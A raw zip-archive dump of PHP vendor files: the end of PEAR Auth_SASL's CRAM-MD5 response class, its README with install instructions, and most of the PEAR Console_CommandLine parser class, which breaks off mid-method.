// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | 
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | 
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   | 
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | 
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  | 
// |                                                                       | 
// +-----------------------------------------------------------------------+ 
// | Author: Richard Heyes <richard@php.net>                               | 
// +-----------------------------------------------------------------------+ 
// 
// $Id$

/**
* Implmentation of CRAM-MD5 SASL mechanism
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_CramMD5 extends Auth_SASL_Common
{
    /**
    * Implements the CRAM-MD5 SASL mechanism
    * This DOES NOT base64 encode the return value,
    * you will need to do that yourself.
    *
    * @param string $user      Username
    * @param string $pass      Password
    * @param string $challenge The challenge supplied by the server.
    *                          this should be already base64_decoded.
    *
    * @return string The string to pass back to the server, of the form
    *                "<user> <digest>". This is NOT base64_encoded.
    */
    function getResponse($user, $pass, $challenge)
    {
        return $user . ' ' . $this->_HMAC_MD5($pass, $challenge);
    }
}
?>PK
h�\�G׭��vendor/pear/auth_sasl/README.mdnu�[���# Auth_SASL - Abstraction of various SASL mechanism responses

[![Build Status](https://travis-ci.org/pear/Auth_SASL.svg?branch=master)](https://travis-ci.org/pear/Auth_SASL)
    

Provides code to generate responses to common SASL mechanisms, including:
- Digest-MD5
- Cram-MD5
- Plain
- Anonymous
- Login (Pseudo mechanism)
- SCRAM	

[Homepage](http://pear.php.net/package/Auth_SASL/)


## Installation
For a PEAR installation that downloads from the PEAR channel:

`$ pear install pear/auth_sasl`

For a PEAR installation from a previously downloaded tarball:

`$ pear install Auth_SASL-*.tgz`

For a PEAR installation from a code clone:

`$ pear install package.xml`

For a local composer installation:

`$ composer install`

To add as a dependency to your composer-managed application:

`$composer require pear/auth_sasl`


## Tests
Run  the tests from a local composer installation:

`$ ./vendor/bin/phpunit`


## License
BSD license
PK
h�\�
{����7vendor/pear/console_commandline/Console/CommandLine.phpnu�[���<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * This file is part of the PEAR Console_CommandLine package.
 *
 * A full featured package for managing command-line options and arguments
 * hightly inspired from python optparse module, it allows the developper to
 * easily build complex command line interfaces.
 *
 * PHP version 5
 *
 * LICENSE: This source file is subject to the MIT license that is available
 * through the world-wide-web at the following URI:
 * http://opensource.org/licenses/mit-license.php
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     Class available since release 0.1.0
 * @filesource
 */

/**
 * Required unconditionally
 */
require_once 'Console/CommandLine/Exception.php';
require_once 'Console/CommandLine/Outputter/Default.php';
require_once 'Console/CommandLine/Renderer/Default.php';
require_once 'Console/CommandLine/MessageProvider/Default.php';

/**
 * Main class for parsing command line options and arguments.
 *
 * There are three ways to create parsers with this class:
 * <code>
 * // direct usage
 * $parser = new Console_CommandLine();
 *
 * // with an xml definition file
 * $parser = Console_CommandLine::fromXmlFile('path/to/file.xml');
 *
 * // with an xml definition string
 * $validXmlString = '..your xml string...';
 * $parser = Console_CommandLine::fromXmlString($validXmlString);
 * </code>
 *
 * @category  Console
 * @package   Console_CommandLine
 * @author    David JEAN LOUIS <izimobil@gmail.com>
 * @copyright 2007 David JEAN LOUIS
 * @license   http://opensource.org/licenses/mit-license.php MIT License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Console_CommandLine
 * @since     File available since release 0.1.0
 * @example   docs/examples/ex1.php
 * @example   docs/examples/ex2.php
 */
class Console_CommandLine
{
    // Public properties {{{

    /**
     * Error messages.
     *
     * @var array $errors Error messages
     * @todo move this to Console_CommandLine_MessageProvider
     */
    public static $errors = array(
        'option_bad_name'                    => 'option name must be a valid php variable name (got: {$name})',
        'argument_bad_name'                  => 'argument name must be a valid php variable name (got: {$name})',
        'argument_no_default'                => 'only optional arguments can have a default value',
        'option_long_and_short_name_missing' => 'you must provide at least an option short name or long name for option "{$name}"',
        'option_bad_short_name'              => 'option "{$name}" short name must be a dash followed by a letter (got: "{$short_name}")',
        'option_bad_long_name'               => 'option "{$name}" long name must be 2 dashes followed by a word (got: "{$long_name}")',
        'option_unregistered_action'         => 'unregistered action "{$action}" for option "{$name}".',
        'option_bad_action'                  => 'invalid action for option "{$name}".',
        'option_invalid_callback'            => 'you must provide a valid callback for option "{$name}"',
        'action_class_does_not_exists'       => 'action "{$name}" class "{$class}" not found, make sure that your class is available before calling Console_CommandLine::registerAction()',
        'invalid_xml_file'                   => 'XML definition file "{$file}" does not exists or is not readable',
        'invalid_rng_file'                   => 'RNG file "{$file}" does not exists or is not readable'
    );

    /**
     * The name of the program, if not given it defaults to argv[0].
     *
     * @var string $name Name of your program
     */
    public $name;

    /**
     * A description text that will be displayed in the help message.
     *
     * @var string $description Description of your program
     */
    public $description = '';

    /**
     * A string that represents the version of the program, if this property is
     * not empty and property add_version_option is not set to false, the
     * command line parser will add a --version option, that will display the
     * property content.
     *
     * @var    string $version
     * @access public
     */
    public $version = '';

    /**
     * Boolean that determine if the command line parser should add the help
     * (-h, --help) option automatically.
     *
     * @var bool $add_help_option Whether to add a help option or not
     */
    public $add_help_option = true;

    /**
     * Boolean that determine if the command line parser should add the version
     * (-v, --version) option automatically.
     * Note that the version option is also generated only if the version
     * property is not empty, it's up to you to provide a version string of
     * course.
     *
     * @var bool $add_version_option Whether to add a version option or not
     */
    public $add_version_option = true;

    /**
     * Boolean that determine if providing a subcommand is mandatory.
     *
     * @var bool $subcommand_required Whether a subcommand is required or not
     */
    public $subcommand_required = false;

    /**
     * The command line parser renderer instance.
     *
     * @var    object that implements Console_CommandLine_Renderer interface
     * @access protected
     */
    public $renderer = false;

    /**
     * The command line parser outputter instance.
     *
     * @var Console_CommandLine_Outputter An outputter
     */
    public $outputter = false;

    /**
     * The command line message provider instance.
     *
     * @var Console_CommandLine_MessageProvider A message provider instance
     */
    public $message_provider = false;

    /**
     * Boolean that tells the parser to be POSIX compliant, POSIX demands the
     * following behavior: the first non-option stops option processing.
     *
     * @var bool $force_posix Whether to force posix compliance or not
     */
    public $force_posix = false;

    /**
     * Boolean that tells the parser to set relevant options default values,
     * according to the option action.
     *
     * @see Console_CommandLine_Option::setDefaults()
     * @var bool $force_options_defaults Whether to force option default values
     */
    public $force_options_defaults = false;


   /**
    * Boolean that tells the parser to treat a single - option as an argument
    * instead of trying to read STDIN.
    *
    * @var bool $avoid_reading_stdin Whether to treat - as an argument
    */
    public $avoid_reading_stdin = false;

    /**
     * An array of Console_CommandLine_Option objects.
     *
     * @var array $options The options array
     */
    public $options = array();

    /**
     * An array of Console_CommandLine_Argument objects.
     *
     * @var array $args The arguments array
     */
    public $args = array();

    /**
     * An array of Console_CommandLine_Command objects (sub commands).
     *
     * @var array $commands The commands array
     */
    public $commands = array();

    /**
     * Parent, only relevant in Command objects but left here for interface
     * convenience.
     *
     * @var Console_CommandLine The parent instance
     * @todo move Console_CommandLine::parent to Console_CommandLine_Command
     */
    public $parent = false;

    /**
     * Array of valid actions for an option, this array will also store user
     * registered actions.
     *
     * The array format is:
     * <pre>
     * array(
     *     <ActionName:string> => array(<ActionClass:string>, <builtin:bool>)
     * )
     * </pre>
     *
     * @var array $actions List of valid actions
     */
    public static $actions = array(
        'StoreTrue'   => array('Console_CommandLine_Action_StoreTrue', true),
        'StoreFalse'  => array('Console_CommandLine_Action_StoreFalse', true),
        'StoreString' => array('Console_CommandLine_Action_StoreString', true),
        'StoreInt'    => array('Console_CommandLine_Action_StoreInt', true),
        'StoreFloat'  => array('Console_CommandLine_Action_StoreFloat', true),
        'StoreArray'  => array('Console_CommandLine_Action_StoreArray', true),
        'Callback'    => array('Console_CommandLine_Action_Callback', true),
        'Counter'     => array('Console_CommandLine_Action_Counter', true),
        'Help'        => array('Console_CommandLine_Action_Help', true),
        'Version'     => array('Console_CommandLine_Action_Version', true),
        'Password'    => array('Console_CommandLine_Action_Password', true),
        'List'        => array('Console_CommandLine_Action_List', true),
    );

    /**
     * Custom errors messages for this command
     *
     * This array is of the form:
     * <code>
     * <?php
     * array(
     *     $messageName => $messageText,
     *     $messageName => $messageText,
     *     ...
     * );
     * ?>
     * </code>
     *
     * If specified, these messages override the messages provided by the
     * default message provider. For example:
     * <code>
     * <?php
     * $messages = array(
     *     'ARGUMENT_REQUIRED' => 'The argument foo is required.',
     * );
     * ?>
     * </code>
     *
     * @var array
     * @see Console_CommandLine_MessageProvider_Default
     */
    public $messages = array();

    // }}}
    // {{{ Private properties

    /**
     * Array of options that must be dispatched at the end.
     *
     * @var array $_dispatchLater Options to be dispatched
     */
    private $_dispatchLater = array();

    private $_lastopt = false;
    private $_stopflag = false;

    // }}}
    // __construct() {{{

    /**
     * Constructor.
     * Example:
     *
     * <code>
     * $parser = new Console_CommandLine(array(
     *     'name'               => 'yourprogram', // defaults to argv[0]
     *     'description'        => 'Description of your program',
     *     'version'            => '0.0.1', // your program version
     *     'add_help_option'    => true, // or false to disable --help option
     *     'add_version_option' => true, // or false to disable --version option
     *     'force_posix'        => false // or true to force posix compliance
     * ));
     * </code>
     *
     * @param array $params An optional array of parameters
     *
     * @return void
     */
    public function __construct(array $params = array())
    {
        if (isset($params['name'])) {
            $this->name = $params['name'];
        } else if (isset($argv) && count($argv) > 0) {
            $this->name = $argv[0];
        } else if (isset($_SERVER['argv']) && count($_SERVER['argv']) > 0) {
            $this->name = $_SERVER['argv'][0];
        } else if (isset($_SERVER['SCRIPT_NAME'])) {
            $this->name = basename($_SERVER['SCRIPT_NAME']);
        }
        if (isset($params['description'])) {
            $this->description = $params['description'];
        }
        if (isset($params['version'])) {
            $this->version = $params['version'];
        }
        if (isset($params['add_version_option'])) {
            $this->add_version_option = $params['add_version_option'];
        }
        if (isset($params['add_help_option'])) {
            $this->add_help_option = $params['add_help_option'];
        }
        if (isset($params['subcommand_required'])) {
            $this->subcommand_required = $params['subcommand_required'];
        }
        if (isset($params['force_posix'])) {
            $this->force_posix = $params['force_posix'];
        } else if (getenv('POSIXLY_CORRECT')) {
            $this->force_posix = true;
        }
        if (isset($params['messages']) && is_array($params['messages'])) {
            $this->messages = $params['messages'];
        }
        // set default instances
        $this->renderer         = new Console_CommandLine_Renderer_Default($this);
        $this->outputter        = new Console_CommandLine_Outputter_Default();
        $this->message_provider = new Console_CommandLine_MessageProvider_Default();
    }

    // }}}
    // accept() {{{

    /**
     * Method to allow Console_CommandLine to accept either:
     *  + a custom renderer,
     *  + a custom outputter,
     *  + or a custom message provider
     *
     * @param mixed $instance The custom instance
     *
     * @return void
     * @throws Console_CommandLine_Exception if wrong argument passed
     */
    public function accept($instance)
    {
        if ($instance instanceof Console_CommandLine_Renderer) {
            if (property_exists($instance, 'parser') && !$instance->parser) {
                $instance->parser = $this;
            }
            $this->renderer = $instance;
        } else if ($instance instanceof Console_CommandLine_Outputter) {
            $this->outputter = $instance;
        } else if ($instance instanceof Console_CommandLine_MessageProvider) {
            $this->message_provider = $instance;
        } else {
            throw Console_CommandLine_Exception::factory(
                'INVALID_CUSTOM_INSTANCE',
                array(),
                $this,
                $this->messages
            );
        }
    }

    // }}}
    // fromXmlFile() {{{

    /**
     * Returns a command line parser instance built from an xml file.
     *
     * Example:
     * <code>
     * require_once 'Console/CommandLine.php';
     * $parser = Console_CommandLine::fromXmlFile('path/to/file.xml');
     * $result = $parser->parse();
     * </code>
     *
     * @param string $file Path to the xml file
     *
     * @return Console_CommandLine The parser instance
     */
    public static function fromXmlFile($file)
    {
        include_once 'Console/CommandLine/XmlParser.php';
        return Console_CommandLine_XmlParser::parse($file);
    }

    // }}}
    // fromXmlString() {{{

    /**
     * Returns a command line parser instance built from an xml string.
     *
     * Example:
     * <code>
     * require_once 'Console/CommandLine.php';
     * $xmldata = '<?xml version="1.0" encoding="utf-8" standalone="yes"?>
     * <command>
     *   <description>Compress files</description>
     *   <option name="quiet">
     *     <short_name>-q</short_name>
     *     <long_name>--quiet</long_name>
     *     <description>be quiet when run</description>
     *     <action>StoreTrue/action>
     *   </option>
     *   <argument name="files">
     *     <description>a list of files</description>
     *     <multiple>true</multiple>
     *   </argument>
     * </command>';
     * $parser = Console_CommandLine::fromXmlString($xmldata);
     * $result = $parser->parse();
     * </code>
     *
     * @param string $string The xml data
     *
     * @return Console_CommandLine The parser instance
     */
    public static function fromXmlString($string)
    {
        include_once 'Console/CommandLine/XmlParser.php';
        return Console_CommandLine_XmlParser::parseString($string);
    }

    // }}}
    // addArgument() {{{

    /**
     * Adds an argument to the command line parser and returns it.
     *
     * Adds an argument with the name $name and set its attributes with the
     * array $params, then return the Console_CommandLine_Argument instance
     * created.
     * The method accepts another form: you can directly pass a
     * Console_CommandLine_Argument object as the sole argument, this allows
     * you to contruct the argument separately, in order to reuse it in
     * different command line parsers or commands for example.
     *
     * Example:
     * <code>
     * $parser = new Console_CommandLine();
     * // add an array argument
     * $parser->addArgument('input_files', array('multiple'=>true));
     * // add a simple argument
     * $parser->addArgument('output_file');
     * $result = $parser->parse();
     * print_r($result->args['input_files']);
     * print_r($result->args['output_file']);
     * // will print:
     * // array('file1', 'file2')
     * // 'file3'
     * // if the command line was:
     * // myscript.php file1 file2 file3
     * </code>
     *
     * In a terminal, the help will be displayed like this:
     * <code>
     * $ myscript.php install -h
     * Usage: myscript.php <input_files...> <output_file>
     * </code>
     *
     * @param mixed $name   A string containing the argument name or an
     *                      instance of Console_CommandLine_Argument
     * @param array $params An array containing the argument attributes
     *
     * @return Console_CommandLine_Argument the added argument
     * @see Console_CommandLine_Argument
     */
    public function addArgument($name, $params = array())
    {
        if ($name instanceof Console_CommandLine_Argument) {
            $argument = $name;
        } else {
            include_once 'Console/CommandLine/Argument.php';
            $argument = new Console_CommandLine_Argument($name, $params);
        }
        $argument->validate();
        $this->args[$argument->name] = $argument;
        return $argument;
    }

    // }}}
    // addCommand() {{{

    /**
     * Adds a sub-command to the command line parser.
     *
     * Adds a command with the given $name to the parser and returns the
     * Console_CommandLine_Command instance, you can then populate the command
     * with options, configure it, etc... like you would do for the main parser
     * because the class Console_CommandLine_Command inherits from
     * Console_CommandLine.
     *
     * An example:
     * <code>
     * $parser = new Console_CommandLine();
     * $install_cmd = $parser->addCommand('install');
     * $install_cmd->addOption(
     *     'verbose',
     *     array(
     *         'short_name'  => '-v',
     *         'long_name'   => '--verbose',
     *         'description' => 'be noisy when installing stuff',
     *         'action'      => 'StoreTrue'
     *      )
     * );
     * $parser->parse();
     * </code>
     * Then in a terminal:
     * <code>
     * $ myscript.php install -h
     * Usage: myscript.php install [options]
     *
     * Options:
     *   -h, --help     display this help message and exit
     *   -v, --verbose  be noisy when installing stuff
     *
     * $ myscript.php install --verbose
     * Installing whatever...
     * $
     * </code>
     *
     * @param mixed $name   A string containing the command name or an
     *                      instance of Console_CommandLine_Command
     * @param array $params An array containing the command attributes
     *
     * @return Console_CommandLine_Command the added subcommand
     * @see    Console_CommandLine_Command
     */
    public function addCommand($name, $params = array())
    {
        if ($name instanceof Console_CommandLine_Command) {
            $command = $name;
        } else {
            include_once 'Console/CommandLine/Command.php';
            $params['name'] = $name;
            $command        = new Console_CommandLine_Command($params);
            // some properties must cascade to the child command if not
            // passed explicitely. This is done only in this case, because if
            // we have a Command object we have no way to determine if theses
            // properties have already been set
            $cascade = array(
                'add_help_option',
                'add_version_option',
                'outputter',
                'message_provider',
                'force_posix',
                'force_options_defaults'
            );
            foreach ($cascade as $property) {
                if (!isset($params[$property])) {
                    $command->$property = $this->$property;
                }
            }
            if (!isset($params['renderer'])) {
                $renderer          = clone $this->renderer;
                $renderer->parser  = $command;
                $command->renderer = $renderer;
            }
        }
        $command->parent = $this;
        $this->commands[$command->name] = $command;
        return $command;
    }

    // }}}
    // addOption() {{{

    /**
     * Adds an option to the command line parser and returns it.
     *
     * Adds an option with the name $name and set its attributes with the
     * array $params, then return the Console_CommandLine_Option instance
     * created.
     * The method accepts another form: you can directly pass a
     * Console_CommandLine_Option object as the sole argument, this allows
     * you to contruct the option separately, in order to reuse it in different
     * command line parsers or commands for example.
     *
     * Example:
     * <code>
     * $parser = new Console_CommandLine();
     * $parser->addOption('path', array(
     *     'short_name'  => '-p',  // a short name
     *     'long_name'   => '--path', // a long name
     *     'description' => 'path to the dir', // a description msg
     *     'action'      => 'StoreString',
     *     'default'     => '/tmp' // a default value
     * ));
     * $parser->parse();
     * </code>
     *
     * In a terminal, the help will be displayed like this:
     * <code>
     * $ myscript.php --help
     * Usage: myscript.php [options]
     *
     * Options:
     *   -h, --help  display this help message and exit
     *   -p, --path  path to the dir
     *
     * </code>
     *
     * Various methods to specify an option, these 3 commands are equivalent:
     * <code>
     * $ myscript.php --path=some/path
     * $ myscript.php -p some/path
     * $ myscript.php -psome/path
     * </code>
     *
     * @param mixed $name   A string containing the option name or an
     *                      instance of Console_CommandLine_Option
     * @param array $params An array containing the option attributes
     *
     * @return Console_CommandLine_Option The added option
     * @see    Console_CommandLine_Option
     */
    public function addOption($name, $params = array())
    {
        include_once 'Console/CommandLine/Option.php';
        if ($name instanceof Console_CommandLine_Option) {
            $opt = $name;
        } else {
            $opt = new Console_CommandLine_Option($name, $params);
        }
        $opt->validate();
        if ($this->force_options_defaults) {
            $opt->setDefaults();
        }
        $this->options[$opt->name] = $opt;
        if (!empty($opt->choices) && $opt->add_list_option) {
            $this->addOption('list_' . $opt->name, array(
                'long_name'     => '--list-' . $opt->name,
                'description'   => $this->message_provider->get(
                    'LIST_OPTION_MESSAGE',
                    array('name' => $opt->name)
                ),
                'action'        => 'List',
                'action_params' => array('list' => $opt->choices),
            ));
        }
        return $opt;
    }

    // }}}
    // displayError() {{{

    /**
     * Displays an error to the user via stderr and exit with $exitCode if its
     * value is not equals to false.
     *
     * @param string $error    The error message
     * @param int    $exitCode The exit code number (default: 1). If set to
     *                         false, the exit() function will not be called
     *
     * @return void
     */
    public function displayError($error, $exitCode = 1)
    {
        $this->outputter->stderr($this->renderer->error($error));
        if ($exitCode !== false) {
            exit($exitCode);
        }
    }

    // }}}
    // displayUsage() {{{

    /**
     * Displays the usage help message to the user via stdout and exit with
     * $exitCode if its value is not equals to false.
     *
     * @param int $exitCode The exit code number (default: 0). If set to
     *                      false, the exit() function will not be called
     *
     * @return void
     */
    public function displayUsage($exitCode = 0)
    {
        $this->outputter->stdout($this->renderer->usage());
        if ($exitCode !== false) {
            exit($exitCode);
        }
    }

    // }}}
    // displayVersion() {{{

    /**
     * Displays the program version to the user via stdout and exit with
     * $exitCode if its value is not equals to false.
     *
     *
     * @param int $exitCode The exit code number (default: 0). If set to
     *                      false, the exit() function will not be called
     *
     * @return void
     */
    public function displayVersion($exitCode = 0)
    {
        $this->outputter->stdout($this->renderer->version());
        if ($exitCode !== false) {
            exit($exitCode);
        }
    }

    // }}}
    // findOption() {{{

    /**
     * Finds the option that matches the given short_name (ex: -v), long_name
     * (ex: --verbose) or name (ex: verbose).
     *
     * @param string $str The option identifier
     *
     * @return mixed A Console_CommandLine_Option instance or false
     */
    public function findOption($str)
    {
        $str = trim((string) $str);
        if ($str === '') {
            return false;
        }
        $matches = array();
        foreach ($this->options as $opt) {
            if ($opt->short_name == $str || $opt->long_name == $str ||
                $opt->name == $str) {
                // exact match
                return $opt;
            }
            if (substr($opt->long_name, 0, strlen($str)) === $str) {
                // abbreviated long option
                $matches[] = $opt;
            }
        }
        if ($count = count($matches)) {
            if ($count > 1) {
                $matches_str = '';
                $padding     = '';
                foreach ($matches as $opt) {
                    $matches_str .= $padding . $opt->long_name;
                    $padding      = ', ';
                }
                throw Console_CommandLine_Exception::factory(
                    'OPTION_AMBIGUOUS',
                    array('name' => $str, 'matches' => $matches_str),
                    $this,
                    $this->messages
                );
            }
            return $matches[0];
        }
        return false;
    }
    // }}}
    // registerAction() {{{

    /**
     * Registers a custom action for the parser, an example:
     *
     * <code>
     *
     * // in this example we create a "range" action:
     * // the user will be able to enter something like:
     * // $ <program> -r 1,5
     * // and in the result we will have:
     * // $result->options['range']: array(1, 5)
     *
     * require_once 'Console/CommandLine.php';
     * require_once 'Console/CommandLine/Action.php';
     *
     * class ActionRange extends Console_CommandLine_Action
     * {
     *     public function execute($value=false, $params=array())
     *     {
     *         $range = explode(',', str_replace(' ', '', $value));
     *         if (count($range) != 2) {
     *             throw new Exception(sprintf(
     *                 'Option "%s" must be 2 integers separated by a comma',
     *                 $this->option->name
     *             ));
     *         }
     *         $this->setResult($range);
     *     }
     * }
     * // then we can register our action
     * Console_CommandLine::registerAction('Range', 'ActionRange');
     * // and now our action is available !
     * $parser = new Console_CommandLine();
     * $parser->addOption('range', array(
     *     'short_name'  => '-r',
     *     'long_name'   => '--range',
     *     'action'      => 'Range', // note our custom action
     *     'description' => 'A range of two integers separated by a comma'
     * ));
     * // etc...
     *
     * </code>
     *
     * @param string $name  The name of the custom action
     * @param string $class The class name of the custom action
     *
     * @return void
     */
    public static function registerAction($name, $class)
    {
        if (!isset(self::$actions[$name])) {
            if (!class_exists($class)) {
                self::triggerError('action_class_does_not_exists',
                    E_USER_ERROR,
                    array('{$name}' => $name, '{$class}' => $class));
            }
            self::$actions[$name] = array($class, false);
        }
    }

    // }}}
    // triggerError() {{{

    /**
     * A wrapper for programming errors triggering.
     *
     * @param string $msgId  Identifier of the message
     * @param int    $level  The php error level
     * @param array  $params An array of search=>replaces entries
     *
     * @return void
     * @todo remove Console::triggerError() and use exceptions only
     */
    public static function triggerError($msgId, $level, $params=array())
    {
        if (isset(self::$errors[$msgId])) {
            $msg = str_replace(array_keys($params),
                array_values($params), self::$errors[$msgId]);
            trigger_error($msg, $level);
        } else {
            trigger_error('unknown error', $level);
        }
    }

    // }}}
    // parse() {{{

    /**
     * Parses the command line arguments and returns a
     * Console_CommandLine_Result instance.
     *
     * @param integer $userArgc Number of arguments (optional)
     * @param array   $userArgv Array containing arguments (optional)
     *
     * @return Console_CommandLine_Result The result instance
     * @throws Exception on user errors
     */
    public function parse($userArgc=null, $userArgv=null)
    {
        $this->_lastopt  = false;
        $this->_stopflag = false;

        $this->addBuiltinOptions();
        if ($userArgc !== null && $userArgv !== null) {
            $argc = $userArgc;
            $argv = $userArgv;
        } else {
            list($argc, $argv) = $this->getArgcArgv();
        }
        // build an empty result
        include_once 'Console/CommandLine/Result.php';
        $result = new Console_CommandLine_Result();
        if (!($this instanceof Console_CommandLine_Command)) {
            // remove script name if we're not in a subcommand
            array_shift($argv);
            $argc--;
        }
        // will contain arguments
        $args = array();
        foreach ($this->options as $name=>$option) {
            $result->options[$name] = $option->default;
        }
        // parse command line tokens
        while ($argc--) {
            $token = array_shift($argv);
            try {
                if ($cmd = $this->_getSubCommand($token)) {
                    $result->command_name = $cmd->name;
                    $result->command      = $cmd->parse($argc, $argv);
                    break;
                } else {
                    $this->parseToken($token, $result, $args, $argc);
                }
            } catch (Exception $exc) {
                throw $exc;
            }
        }
        // Parse a null token to allow any undespatched actions to be despatched.
        $this->parseToken(null, $result, $args, 0);
        // Check if an invalid subcommand was specified. If there are
        // subcommands and no arguments, but an argument was provided, it is
        // an invalid subcommand.
        if (   count($this->commands) > 0
            && count($this->args) === 0
            && count($args) > 0
        ) {
            throw Console_CommandLine_Exception::factory(
                'INVALID_SUBCOMMAND',
                array('command' => $args[0]),
                $this,
                $this->messages
            );
        }
        // if subcommand_required is set to true we must check that we have a
        // subcommand.
        if (   count($this->commands)
            && $this->subcommand_required
            && !$result->command_name
        ) {
            throw Console_CommandLine_Exception::factory(
                'SUBCOMMAND_REQUIRED',
                array('commands' => implode(', ', array_keys($this->commands))),
                $this,
                $this->messages
            );
        }
        // minimum argument number check
        $argnum = 0;
        foreach ($this->args as $name=>$arg) {
            if (!$arg->optional) {
                $argnum++;
            }
        }
        if (count($args) < $argnum) {
            throw Console_CommandLine_Exception::factory(
                'ARGUMENT_REQUIRED',
                array('argnum' => $argnum, 'plural' => $argnum>1 ? 's': ''),
                $this,
                $this->messages
            );
        }
        // handle arguments
        $c = count($this->args);
        foreach ($this->args as $name=>$arg) {
            $c--;
            if ($arg->multiple) {
                $result->args[$name] = $c ? array_splice($args, 0, -$c) : $args;
            } else {
                $result->args[$name] = array_shift($args);
            }
            if (!$result->args[$name] && $arg->optional && $arg->default) {
                $result->args[$name] = $arg->default;
            }
            // check value is in argument choices
            if (!empty($this->args[$name]->choices)) {
                foreach ($result->args[$name] as $value) {
                    if (!in_array($value, $arg->choices)) {
                        throw Console_CommandLine_Exception::factory(
                            'ARGUMENT_VALUE_NOT_VALID',
                            array(
                                'name'    => $name,
                                'choices' => implode('", "', $arg->choices),
                                'value'   => implode(' ', $result->args[$name]),
                            ),
                            $this,
                            $arg->messages
                        );
                    }
                }
            }
        }
        // dispatch deferred options
        foreach ($this->_dispatchLater as $optArray) {
            $optArray[0]->dispatchAction($optArray[1], $optArray[2], $this);
        }
        return $result;
    }

    // }}}
    // parseToken() {{{

    /**
     * Parses the command line token and modifies *by reference* the $options
     * and $args arrays.
     *
     * @param string $token  The command line token to parse
     * @param object $result The Console_CommandLine_Result instance
     * @param array  &$args  The argv array
     * @param int    $argc   Number of lasting args
     *
     * @return void
     * @access protected
     * @throws Exception on user errors
     */
    protected function parseToken($token, $result, &$args, $argc)
    {
        $last  = $argc === 0;
        if (!$this->_stopflag && $this->_lastopt) {
            if ($token !== null
                && strlen($token) > ($this->avoid_reading_stdin ? 1 : 0)
                && substr($token, 0, 1) == '-'
            ) {
                if ($this->_lastopt->argument_optional) {
                    $this->_dispatchAction($this->_lastopt, '', $result);
                    if ($this->_lastopt->action != 'StoreArray') {
                        $this->_lastopt = false;
                    }
                } else if (isset($result->options[$this->_lastopt->name])) {
                    // case of an option that expect a list of args
                    $this->_lastopt = false;
                } else {
                    throw Console_CommandLine_Exception::factory(
                        'OPTION_VALUE_REQUIRED',
                        array('name' => $this->_lastopt->name),
                        $this,
                        $this->messages
                    );
                }
            } else {
                // when a StoreArray option is positioned last, the behavior
                // is to consider that if there's already an element in the
                // array, and the commandline expects one or more args, we
                // leave last tokens to arguments
                if ($this->_lastopt->action == 'StoreArray'
                    && !empty($result->options[$this->_lastopt->name])
                    && count($this->args) > ($argc + count($args))
                ) {
                    if (!is_null($token)) {
                        $args[] = $token;
                    }
                    return;
                }
                if (!is_null($token) || $this->_lastopt->action == 'Password') {
                    $this->_dispatchAction($this->_lastopt, $token, $result);
                }
                if ($this->_lastopt->action != 'StoreArray') {
                    $this->_lastopt = false;
                }
                return;
            }
        }
        if ($token !== null && !$this->_stopflag && substr($token, 0, 2) == '--') {
            // a long option
            $optkv = explode('=', $token, 2);
            if (trim($optkv[0]) == '--') {
                // the special argument "--" forces in all cases the end of
                // option scanning.
                $this->_stopflag = true;
                return;
            }
            $opt = $this->findOption($optkv[0]);
            if (!$opt) {
                throw Console_CommandLine_Exception::factory(
                    'OPTION_UNKNOWN',
                    array('name' => $optkv[0]),
                    $this,
                    $this->messages
                );
            }
            $value = isset($optkv[1]) ? $optkv[1] : false;
            if (!$opt->expectsArgument() && $value !== false) {
                throw Console_CommandLine_Exception::factory(
                    'OPTION_VALUE_UNEXPECTED',
                    array('name' => $opt->name, 'value' => $value),
                    $this,
                    $this->messages
                );
            }
            if ($opt->expectsArgument() && $value === false) {
                // maybe the long option argument is separated by a space, if
                // this is the case it will be the next arg
                if ($last && !$opt->argument_optional) {
                    throw Console_CommandLine_Exception::factory(
                        'OPTION_VALUE_REQUIRED',
                        array('name' => $opt->name),
                        $this,
                        $this->messages
                    );
                }
                // we will have a value next time
                $this->_lastopt = $opt;
                return;
            }
            if ($opt->action == 'StoreArray') {
                $this->_lastopt = $opt;
            }
            $this->_dispatchAction($opt, $value, $result);
        } else if (!$this->_stopflag
            && $token !== null
            && strlen($token) > ($this->avoid_reading_stdin ? 1 : 0)
            && substr($token, 0, 1) == '-'
        ) {
            // a short option
            $optname = substr($token, 0, 2);
            if ($optname == '-' && !$this->avoid_reading_stdin) {
                // special case of "-": try to read stdin
                $args[] = file_get_contents('php://stdin');
                return;
            }
            $opt = $this->findOption($optname);
            if (!$opt) {
                throw Console_CommandLine_Exception::factory(
                    'OPTION_UNKNOWN',
                    array('name' => $optname),
                    $this,
                    $this->messages
                );
            }
            // parse other options or set the value
            // in short: handle -f<value> and -f <value>
            $next = substr($token, 2, 1);
            // check if we must wait for a value
            if (!$next) {
                if ($opt->expectsArgument()) {
                    if ($last && !$opt->argument_optional) {
                        throw Console_CommandLine_Exception::factory(
                            'OPTION_VALUE_REQUIRED',
                            array('name' => $opt->name),
                            $this,
                            $this->messages
                        );
                    }
                    // we will have a value next time
                    $this->_lastopt = $opt;
                    return;
                }
                $value = false;
            } else {
                if (!$opt->expectsArgument()) {
                    if ($nextopt = $this->findOption('-' . $next)) {
                        $this->_dispatchAction($opt, false, $result);
                        $this->parseToken('-' . substr($token, 2), $result,
                            $args, $last);
                        return;
                    } else {
                        throw Console_CommandLine_Exception::factory(
                            'OPTION_UNKNOWN',
                            array('name' => $next),
                            $this,
                            $this->messages
                        );
                    }
                }
                if ($opt->action == 'StoreArray') {
                    $this->_lastopt = $opt;
                }
                $value = substr($token, 2);
            }
            $this->_dispatchAction($opt, $value, $result);
        } else {
            // We have an argument.
            // if we are in POSIX compliant mode, we must set the stop flag to
